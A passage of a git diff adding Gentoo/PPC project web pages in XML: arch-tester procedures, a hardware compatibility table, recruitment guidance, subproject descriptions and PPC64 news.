+               Major functionality should all work with no significant errors. 
+	       Minor errors like a typo are probably acceptable, but should be
+	       noted. It's understood that you can't go through every operation
+	       possible, but it should work in an acceptable manner for 
+	       day-to-day usage by a user.
+            </li>
+            <li>
+               The package shouldn't break anything that depends on it.  This is
+	       especially important for libraries.  Make sure to test programs
+	       that depend on or use your program to ensure that marking this
+	       package will not break other packages.
+            </li>
+          </ol>
+	  <br/>
+            Assuming the package installs, loads and works with no major
+            errors, proceed to putting in the ~ppc request.
+	  </li>
+	</ul>
+      <br/>
+      </li>
+      
+      <li>
+	Assuming your testing efforts went well, and all procedures were 
+	followed, you are now ready to open a bug so a PPC dev can commit the 
+	change.
+	<br/>
+	<ul>
+	  <li>
+	    Open a bug with '&lt;category&gt;/&lt;package&gt;-&lt;version&gt; is
+	    TESTED on PPC' as the title. Assign the bug a keyword: TESTED
+	  </li>
+	  <li>
+	    Assign the bug directly to ppc@gentoo.org to avoid overworking the
+	    Bug Wranglers as well as to let the ppc team know of the new bug.
+	  </li>
+	  <li>
+	    Include a short description of the package, what you've tested and
+            your 'emerge info'. Explicitly specify that you wish the ~ppc 
+	    keyword to be added to the package's keywords.
+	  </li>
+	  <li>
+	    Get to work on another package and a PPC dev will resolve your bug 
+	    as soon as possible.
+	  </li>
+	</ul>
+      </li>
+    </ul>
+  </li>
+</ul>
+</body>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/en/base/ppc/AT/index.xml b/xml/htdocs/proj/en/base/ppc/AT/index.xml
new file mode 100644
index 00000000..012e8303
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc/AT/index.xml
@@ -0,0 +1,59 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/base/ppc/AT/index.xml,v 1.1 2005/06/23 23:19:58 josejx Exp $ -->
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<book link="index.xml">
+<title>Gentoo/PPC Testing Docs </title>
+
+<author title="Editor">
+<mail link="gerrynjr@gentoo.org">Gerald J. Normandin Jr.</mail>
+</author>
+<author title="Editor">
+<mail link="kingtaco@gentoo.org">Mike Doty</mail>
+</author>
+<author title="Editor">
+<mail link="astinus@gentoo.org">Alex Howells</mail>
+</author>
+<author title="Editor">
+<mail link="josejx@gentoo.org">Joseph Jezak</mail>
+</author>
+
+<abstract>
+Documents related to PPC testing, including procedures and the AT application 
+process.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>1.0</version>
+<date>2005-06-23</date>
+
+<part>
+
+<title>Gentoo/PPC Testing Docs</title>
+<abstract>
+Provides testing documentation for Gentoo/PPC users.
+</abstract>
+
+<chapter>
+<title>Gentoo/PPC Arch Testers</title>
+<abstract>
+This explains what arch testing involves and how it relates to core Gentoo/PPC 
+efforts.
+</abstract>
+<include href="arch-testers.xml"/>
+</chapter>
+
+<chapter>
+<title>AT Procedures</title>
+<abstract>
+This document explains the formal procedures involved in arch testing for PPC,
+including applications.
+</abstract>
+<include href="at-procedures.xml"/>
+</chapter>
+
+</part>
+</book>
diff --git a/xml/htdocs/proj/en/base/ppc/doc.xml b/xml/htdocs/proj/en/base/ppc/doc.xml
new file mode 100644
index 00000000..17df6385
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc/doc.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>Documentation</name>
+  <longname>PPC specific Documentation</longname>
+  <date>June 1, 2005</date>
+
+  <description>
+    Maintenance and enhancement of PPC specific documentation and website.
+  </description>
+
+  <longdescription><p>
+    The documentation team is responsible for updating and creating 
+    documentation for the Gentoo/PPC team with a focus on the 
+    <uri link="http://www.gentoo.org/doc/en/handbook/handbook-ppc.xml">
+    Installation Guide</uri> and the 
+    <uri link="http://www.gentoo.org/doc/en/gentoo-ppc-faq.xml">
+    Gentoo PPC FAQ</uri>.
+  </p></longdescription>
+
+  <dev role="lead" description="Subproject Manager">JoseJX</dev>
+
+  <task id="handbook" lead="JoseJX" finished="no">
+    <name>Handbook</name>
+    <description>Gentoo/PPC-specific portions of the handbook</description>
+    <longdescription><p>
+      The <uri link="http://www.gentoo.org/doc/en/handbook/">Gentoo
+      Handbook</uri> is the Gentoo/PPC "official" documentation.  The
+      PPC-specific steps have to be written and verified before each release.
+    </p></longdescription>
+    <startdate>2005-06-01</startdate>
+    <milestone finished="no">
+      <enddate>Before 2005.1 release</enddate>
+      <description>
+        Include instructions for installing and running Gentoo on a firewire or
+	usb device, such as an external hard drive, usb keychain or iPod.
+      </description>
+    </milestone>
+    <milestone finished="no">
+      <enddate>Before 2005.1 release</enddate>
+      <description>
+	Expand and update Old World support sections for new and improved Old 
+	World support.
+      </description>
+    </milestone>
+    <milestone finished="no">
+      <enddate>TBA</enddate>
+      <description>
+      	Editing and Verification of all documentation for the 2005.1 release.
+      </description>
+    </milestone>
+    <dev>JoseJX</dev>
+  </task>
+  
+  <task id="website" lead="JoseJX" finished="no">
+    <name>Website</name>
+    <description>Maintain website</description>
+    <startdate>2004-06-01</startdate>
+    <milestone finished="no">
+      <enddate>Before 2005.1 release</enddate>
+      <description>
+        Complete a hardware table for supported machines.
+      </description>
+    </milestone>
+    <dev>JoseJX</dev>
+  </task>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/ppc/hardware.xml b/xml/htdocs/proj/en/base/ppc/hardware.xml
new file mode 100644
index 00000000..a64ab94f
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc/hardware.xml
@@ -0,0 +1,358 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>Hardware</name>
+  <longname>Gentoo/PPC Hardware Compatibility list</longname>
+  <date>March 17, 2004</date>
+  <author title="Maintainer"><mail link="pylon@gentoo.org">Lars Weiler</mail></author>
+
+  <description>
+    List of supported and tested hardware with Gentoo/PPC
+  </description>
+
+  <longdescription><p>
+    There is a lot of hardware that uses a PowerPC CPU.  The best known is
+    Apple.  Furthermore there are other manufactors who build desktops and
+    servers on a PowerPC basis.  This list should tested and working hardware
+    with Gentoo/PPC.
+  </p></longdescription>
+
+  <extrachapter position="top">
+    <title>About this list...</title>
+    <section>
+      <body>
+        <p>As we don't have access to any machine with a PowerPC CPU, this list
+        will ever be inclompete.  If you got Gentoo/PPC on a not listed machine
+        working or if some special hardware works, please let us know with a
+        <mail link="ppc@gentoo.org">message to the PPC-team</mail>.  Your report
+        is very appreciated!</p>
+      </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter position="top">
+    <title>PowerMac machines (Apple)</title>
+
+    <section>
+      <title>OldWorld</title>
+      <body>
+        
+      </body>
+    </section>
+
+    <section>
+      <title>PowerMacintosh G3</title>
+      <body>
+        <table>
+          <tr>
+            <th>Machine</th>
+            <th>Status</th>
+            <th>Kernel</th>
+            <th>Not working</th>
+            <th>Submitter</th>
+            <th>Comments</th>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g3blue">Blue &amp; White</uri>
+            </ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+        </table>
+      </body>
+    </section>
+
+    <section>
+      <title>PowerMacintosh G4</title>
+      <body>
+        <table>
+          <tr>
+            <th>Machine</th>
+            <th>Status</th>
+            <th>Kernel</th>
+            <th>Not working</th>
+            <th>Submitter</th>
+            <th>Comments</th>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g4pci">PCI Graphics</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g4agp">AGP Graphics</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g4giga">Gigabit Ethernet</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g4da">Digital Audio</uri> /
+            </ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g4_quicksilver">Quicksilver</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g4_quick_2002">Quicksilver 2002</uri>
+            </ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g4_mirror">Mirrored Drive Doors</uri>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g4_800">FireWire 800</uri>
+            </ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g4cube">Cube</uri>
+            </ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+        </table>
+      </body>
+    </section>
+
+    <section>
+      <title>PowerMacintosh G5</title>
+      <body>
+        <table>
+          <tr>
+            <th>Machine</th>
+            <th>Status</th>
+            <th>Kernel</th>
+            <th>Not working</th>
+            <th>Submitter</th>
+            <th>Comments</th>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g5">1.6GHz, 1.8GHz</uri>
+            </ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=g5">Dual 1.8GHz, Dual 2.0GHz</uri>
+            </ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+        </table>
+      </body>
+    </section>
+
+    <section>
+      <title>iMac/eMac</title>
+      <body>
+        <table>
+          <tr>
+            <th>Machine</th>
+            <th>Status</th>
+            <th>Kernel</th>
+            <th>Not working</th>
+            <th>Submitter</th>
+            <th>Comments</th>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=imac">"Columbus"</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=imacrevc">Rev. C</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=imacrevd">Rev. D</uri>
+            </ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=imacslot">"Kihei"</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=imac_summer2001">late 1999-2001</uri>
+            </ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=imac_flat">Flat Panel</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=imac_17">17"</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=imac_early_2003">Early 2003</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=imac_usb_2">USB 2.0</uri>
+            </ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=emac">eMac</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=emac_ati">ATI Graphics</uri>
+            </ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+        </table>
+      </body>
+    </section>
+
+    <section>
+      <title>iBook</title>
+      <body>
+        <table>
+          <tr>
+            <th>Machine</th>
+            <th>Status</th>
+            <th>Kernel</th>
+            <th>Not working</th>
+            <th>Submitter</th>
+            <th>Comments</th>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=ibook">iBook</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=ibookse">SE</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=ibookfirewire">SE (FireWire)</uri>
+            </ti>
+            <ti>should work</ti>
+            <ti>any 2.4 and 2.6 series</ti>
+            <ti>video out, issues with modem</ti>
+            <ti></ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=ibook_dual_usb">Dual USB</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=ibook_late_2001">Late 2001</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=ibook_mid_2002">Mid 2002</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=ibook_late_2002">Late 2002</uri> /
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=ibook_early2003">Early 2003</uri>
+            </ti>
+            <ti>works</ti>
+            <ti>late 2.4 and any 2.6 series</ti>
+            <ti>video out, composite A/V, issues with modem, microphone, airport extreme</ti>
+            <ti><mail link="pylon@gentoo.org">Pylon</mail></ti>
+            <ti></ti>
+          </tr>
+          <tr>
+            <ti>
+              <uri link="http://www.apple-history.com/frames/body.php?page=gallery&amp;model=ibook_g4">G4</uri>
+            </ti>
+            <ti>works</ti>
+            <ti>late 2.4 and any 2.6 series</ti>
+            <ti>video out, issues with modem, microphone, airport extreme, sleep mode</ti>
+            <ti><mail link="pylon@gentoo.org">Pylon</mail></ti>
+            <ti>The sleep mode will hopefully be fixed soon</ti>
+          </tr>
+        </table>
+      </body>
+    </section>
+
+    <section>
+      <title>PowerBook</title>
+      <body>
+        
+      </body>
+    </section>
+
+    <section>
+      <title>XServe</title>
+      <body>
+        
+      </body>
+    </section>
+
+    <section>
+      <title>Gadgets</title>
+      <body>
+        
+      </body>
+    </section>
+
+  </extrachapter>
+
+  <extrachapter position="top">
+    <title>Other similar machines (Apple clones, Pegasos, AmigaOne)</title>
+
+    <section>
+      <title>Apple clones</title>
+      <body>
+        
+      </body>
+    </section>
+
+    <section>
+      <title>Pegasos</title>
+      <body>
+        
+      </body>
+    </section>
+
+    <section>
+      <title>AmigaOne</title>
+      <body>
+        
+      </body>
+    </section>
+
+  </extrachapter>
+
+  <extrachapter position="top">
+    <title>IBM POWER eServers</title>
+
+    <section>
+      <title>RS/6000</title>
+      <body>
+        
+      </body>
+    </section>
+
+    <section>
+      <title>iSeries</title>
+      <body>
+        
+      </body>
+    </section>
+
+    <section>
+      <title>pSeries</title>
+      <body>
+        
+      </body>
+    </section>
+  </extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/ppc/index.xml b/xml/htdocs/proj/en/base/ppc/index.xml
new file mode 100644
index 00000000..20059979
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc/index.xml
@@ -0,0 +1,95 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<project>
+  <name>Gentoo PowerPC</name>
+  <longname>Gentoo Linux PowerPC Development</longname>
+  <date>2010-02-05</date>
+
+  <description>
+    The Gentoo/PowerPC Project supports and maintains Gentoo Linux on the PowerPC
+    architecture, for both the 32 bit and 64 bit userlands.
+  </description>
+
+  <longdescription>
+  
+    <p>The Gentoo/PowerPC Project works to ensure that Gentoo is the most up to 
+    date and robust PowerPC distribution available for both server and desktop 
+    applications.</p> 
+
+    <p>Bugs are tracked and resolved from the 
+    <uri link="http://bugs.gentoo.org">Gentoo bug tracker</uri>.  For PowerPC
+    bugs, please see this <uri link="https://bugs.gentoo.org/buglist.cgi?query_format=&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=exact&amp;email1=ppc%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailqa_contact2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;changedin=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">link</uri>. 
+    Correspondence is maintained on the PowerPC related mailing lists,
+    gentoo-ppc-user and gentoo-ppc-dev.  For more information on PowerPC mailing
+    lists, please see <uri link="http://www.gentoo.org/main/en/lists.xml"> the
+    Gentoo Mailing list overview</uri>. Additionally, the PowerPC team is almost
+    always available in #gentoo-powerpc on 
+    <uri link="http://freenode.net">freenode</uri>.</p>
+    
+  </longdescription>
+
+  <goals>
+  
+    <p>The goal of the Gentoo PowerPC development project is to guarantee that
+    the PowerPC packages built using Gentoo meta-data (ebuilds) are functional 
+    and up to date.  By continuously testing new packages, maintaining 
+    existing packages and providing user support, the Gentoo PowerPC team 
+    provides the PowerPC user with a modern distro based on community, 
+    performance and freedom.  Utilizing Gentoo's meta-data based distribution 
+    allows a user to to be as bleeding edge or as conservative as is desired.
+    </p>
+
+    <p>Gentoo is unique because all of its supported architectures share the 
+    same generic meta-data information (ebuilds) which describe how to build 
+    packages.  These packages are combined to form the foundation of this 
+    distribution.  The PowerPC developers are responsible for building and 
+    testing ebuilds and marking them as tested (~ppc/~ppc64) or stable 
+    (ppc/ppc64). Our users can use this information, along with the portage
+    application, to build a system that suits their needs, whether it is a
+    stable server, embedded system or a bleeding edge desktop system.</p>
+
+  </goals>
+
+  <subproject ref="/proj/en/base/ppc/doc.xml"/>
+
+  <dev role="Developer" description="Gentoo/PPC">josejx</dev>
+  <dev role="Developer" description="Gentoo/PPC">nixnut</dev>
+  <dev role="Developer" description="Gentoo/PPC">volkmar</dev>
+  <dev role="Developer" description="Gentoo/PPC">lu_zero</dev>
+  <dev role="Developer" description="Gentoo/PPC">jer</dev>
+
+  <dev role="Developer" description="Gentoo/PPC64">tgall</dev>
+  <dev role="Developer" description="Gentoo/PPC64">ranger</dev>
+
+  <extrachapter position="bottom">
+    <title>How to Participate</title>
+    <section>
+      <body>
+
+        <p>Can you make computers do amazing things? Are you excited about
+        exploring areas of computing never explored before? We are continuously
+        looking for volunteers willing to spend some of their free time on this
+        project.</p>
+
+        <p>If you are interested in helping, but don't have a niche that you are
+        interested in filling, you can always look through our 
+	<uri link="https://bugs.gentoo.org/buglist.cgi?query_format=&amp;short_desc_type=allwordssubstr&amp;short_desc=&amp;long_desc_type=substring&amp;long_desc=&amp;bug_file_loc_type=allwordssubstr&amp;bug_file_loc=&amp;keywords_type=allwords&amp;keywords=&amp;bug_status=NEW&amp;bug_status=ASSIGNED&amp;bug_status=REOPENED&amp;emailassigned_to1=1&amp;emailtype1=exact&amp;email1=ppc%40gentoo.org&amp;emailassigned_to2=1&amp;emailreporter2=1&amp;emailqa_contact2=1&amp;emailcc2=1&amp;emailtype2=substring&amp;email2=&amp;bugidtype=include&amp;bug_id=&amp;votes=&amp;changedin=&amp;chfieldfrom=&amp;chfieldto=Now&amp;chfieldvalue=&amp;cmdtype=doit&amp;order=Reuse+same+sort+as+last+time&amp;field0-0-0=noop&amp;type0-0-0=noop&amp;value0-0-0=">bugs</uri>. There are always 
+	packages that need to be tested, bugs waiting to be found and fixed 
+	and enhancements waiting for someone to code them. Feel free to 
+	ask the PPC development team on IRC what <e>you</e> can help us with!
+	</p>
+
+        <p>for more information on how the PPC team recruits please read our
+	<uri link="recruitment.xml">recruitment</uri> page.
+        </p>
+
+      </body>
+    </section>
+  </extrachapter>
+
+<herd name="ppc"/>
+<herd name="ppc64"/>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/ppc/rdf/en/gentoo-news.rdf b/xml/htdocs/proj/en/base/ppc/rdf/en/gentoo-news.rdf
new file mode 100755
index 00000000..ec4fb362
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc/rdf/en/gentoo-news.rdf
@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/rdf.xsl" type="text/xsl"?>
+
+<rdffeed type="news">
+	<title>Gentoo Linux on PowerPC News</title> 
+	<link>http://ppc.gentoo.org/</link>
+	<description>Gentoo Linux on PowerPC News</description>
+	<feeditems />
+</rdffeed>
diff --git a/xml/htdocs/proj/en/base/ppc/recruitment.xml b/xml/htdocs/proj/en/base/ppc/recruitment.xml
new file mode 100644
index 00000000..a9be3b5b
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc/recruitment.xml
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="recruitment.xml">
+<title>PPC Recruitment Documentation</title>
+<author title="Editor">
+  <mail link="sejo@gentoo.org">Jochen Maes</mail>
+</author>
+<author title="Editor">
+  <mail link="josejx@gentoo.org">Joseph Jezak</mail>
+</author>
+
+<abstract>
+This document provides Gentoo/PPC users information about joining the 
+development team.  This will also give the PPC team, and its users 
+criteria for becoming a Gentoo/PPC Developer.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/license/by-sa/1.0 -->
+<license/>
+
+<version>1.1</version>
+<date>2005-06-17</date>
+  
+<chapter>
+<title>Becoming a Gentoo/PPC Developer</title>
+<section>
+<title>Who can be a developer?</title>
+<body>
+	
+<p>
+The answer is simple: Anyone who puts effort in Gentoo/PPC.  As long
+as you are contributing to the project in one way or another, you can 
+join the team. The more active developers we have, the better we can 
+provide our userbase with documentation, support and up to date 
+packages.  We expect you  to provide your knowledge, time and effort to
+the community. If you are only interested in having a gentoo.org email 
+address or a title for your resume, please walk away. We'll notice and 
+if necessary, we'll apply to remove your status.  Only the dedicated 
+need apply!
+</p>
+    
+</body>
+</section>
+<section>
+<title>Why be a developer?</title>
+<body>
+
+<p>
+If you are passionate about Gentoo/PPC, and you know you are able 
+to help out in some area's why not help us improve? Gentoo is all about
+the community, our users (even the developers are users!). If nobody put
+in any effort, Gentoo would cease to exist.
+</p>
+
+</body>
+</section>
+</chapter>
+  
+<chapter>
+<title>Steps to Becoming a Developer</title>
+<section>
+<title>Step 1: Get Involved</title>
+<body>
+
+<p>
+It sounds simple, but the first step in becoming a Gentoo Developer 
+is to get involved! Speak with us on our IRC channel, #gentoo-powerpc on 
+<uri link="http://www.freenode.net">freenode</uri>, help users on the 
+forums and aid the Gentoo/PPC team by submitting patches and testing 
+packages that are missing keywords.  Use the project to help others, 
+thereby helping yourself. All good developers know that helping other 
+users always provides learning opportunities, make the most of it! 
+<e>"By learning you will teach, by teaching you will learn."</e>
+</p>
+
+</body>
+</section>
+<section>
+<title>Step 2: Make Yourself Known</title>
+<body>
+
+<p>
+Make the developers notice you by helping out, working hard and being
+a team player, not by making trouble.  Once you've been noticed, an
+existing developer will ask if you are interested in becoming a member
+of the team.  This person will probably become your mentor and will open
+a bug in bugzilla stating that that they are training you to become a
+developer.   From that moment on the whole administrative process has
+been started and you are on your way to becoming a Gentoo Developer! 
+</p>
+
+</body>
+</section>
+<section>
+<title>Step 3: Get Busy!</title>
+<body>
+
+<p>
+This step begins once you have received your shiny new developer 
+status! From now on, you are part of the team. You'll be attending
+meetings, you'll keep a presence on IRC, you'll be committing things to
+CVS and fixing bugs. If you're not busy, you are on the wrong track. But
+it's not all work.  Being a developer is having fun while improving your
+favorite OS, Gentoo! Go forth and squash bugs <e>new</e> Developer!
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/base/ppc/stable.xml b/xml/htdocs/proj/en/base/ppc/stable.xml
new file mode 100644
index 00000000..c48e331a
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc/stable.xml
@@ -0,0 +1,43 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>Stable-profile</name>
+  <longname>PPC Stable-profile subproject</longname>
+  <date>May 20, 2004</date>
+
+  <description>
+    Maintenance of the profile of packages the PPC team calls 'stable'.
+  </description>
+
+  <longdescription><p>
+    The transition from tested to stable meta-date is this team's
+    responsability. If you want to have something listed as stable or report a
+    bug for a stable package, these people are the ones to contact. If you have
+    ambitions to become a Gentoo developer, this might be the ideal place to
+    start.
+  </p></longdescription>
+
+  <dev role="lead" description="Subproject Manager">dostrow</dev>
+
+  <task id="masking" lead="dostrow" finished="no">
+    <name>masking</name>
+    <description>Mask ebuild stable for PPC</description>
+    <longdescription><p>
+      To be more comfortable to users, tested ebuilds on PPC should be masked
+      stable after some time running without problems.  This is a progress in
+      work and will never stop.
+    </p></longdescription>
+    <startdate>2002-01-01</startdate>
+    <milestone finished="no">
+      <enddate>End of Times</enddate>
+      <description>
+        Stable masking of ebuilds on PPC
+      </description>
+    </milestone>
+    <dev>All PPC-devs</dev>
+  </task>
+
+</project>
diff --git a/xml/htdocs/proj/en/base/ppc64/index.xml b/xml/htdocs/proj/en/base/ppc64/index.xml
new file mode 100644
index 00000000..07f00445
--- /dev/null
+++ b/xml/htdocs/proj/en/base/ppc64/index.xml
@@ -0,0 +1,187 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+  <name>Gentoo PPC64</name>
+  <longname>Gentoo Linux PPC64 Development</longname>
+  <date>May 6, 2005</date>
+
+  <description>
+    The PPC64 Development Project is devoted to keeping Gentoo in good
+	shape on the PowerPC64 architecture.
+  </description>
+
+  <longdescription>
+    <p>This project is dedicated to running Gentoo on PowerPC64 systems.
+	These systems encompass IBM RS/6000s, Power Macintosh G5 systems, IBM pSystem, IBM iSystem, and POWER-based  servers, and the recently introduced Sony PS3s. </p>
+<p> The current release for Gentoo and PPC64 is 2006.1 and is available from any of the <uri link="http://www.gentoo.org/main/en/mirrors.xml">Gentoo mirrors</uri>.  The current release offers the ability to run a PPC64 kernel with either a 32bit or 64bit userland.
+</p>
+<p>
+Check out the newly introduced <uri link="ps3/">PS3 subproject</uri>.  With all the attention, we could not help but jump on the band-wagon.
+</p>
+	
+
+  </longdescription>
+
+  <extrachapter position="top">
+  <title>News</title>
+<section>
+	<title>2006-12-18: PPC64 page revived</title>
+	<body>
+		<p>This page has finally gotten an update.  We'll do our best to keep it up and running
+		with new information.  
+		</p>
+	</body>
+
+
+</section>
+
+<!--
+  <section>
+    <title>2005-10-29: Official PPC64 Wiki</title>
+    <body>
+	  <p>ranger has set up a Wiki dedicated to Gentoo/PPC64. Check it out!
+	  <uri link="http://ftp.linuxppc64.org/cgi-bin/wiki.pl?HomePage">PPC64
+	  Wiki</uri></p>
+	</body>
+  </section>
+
+  <section>
+    <title>2005-05-21: Meeting about 2005.1</title>
+	<body>
+	  <p>At 21 May 2005 tgall, omkhar, nigoro and corsair helt a meeting
+	  to discuss the next release. This are the results:</p>
+      <ul>
+	  <li>Compiler: gcc-4.0.0 is not stable at the moment. Unless this does
+      not change we will stick to gcc-3.4.4.</li>
+	  <li>vDSO: We will try to integrate vdso patches for kernel and
+      glibc. vDSO is a way for optimized routines for a processor to be
+      surfaced by the kernel, instead of coming from glibc (so memcpy for
+	  instance).</li>
+	  <li>Filesystems: The next live cd should contain the necessary
+      utilities for creating and managing JFS, XFS, ReiserFSv3</li>
+	  <li>Kernel header: We try to get newer linux-headers (2.6.11)
+	  stabilized.</li>
+	  <li>Multilib: nigoro is working on multilib and is progressing quite
+      well.</li>
+	  </ul>
+	</body>
+  </section>
+
+  <section>
+    <title>2005-05-06: Gnome 2.10 and KDE 3.4</title>
+	<body>
+	  <p>tgall has submittet the patches for Mozilla to portage a few
+      weeks ago and thus we have been able to mark Gnome 2.10 ~ppc64.
+      Mozilla blocked Gnome from being ~ppc64 keyworded, as it is a
+      dependency of epiphany which comes with Gnome.</p>
+      <p>We have also marked kde-meta 3.4.0 as ~ppc64. kde-meta is the
+      package, which installs all those spiltted kde ebuilds. As nobody
+      complained, that kde-3.4.0 hasn't been keyworded yet, we leave this
+      one as unkeyworded.</p>
+    </body>
+  </section>
+
+  <section>
+    <title>2005-03-27: 2005.0 is finaly out!</title>
+    <body>
+	  <p>As you have seen the official news on gentoo.org, 2005.0 is
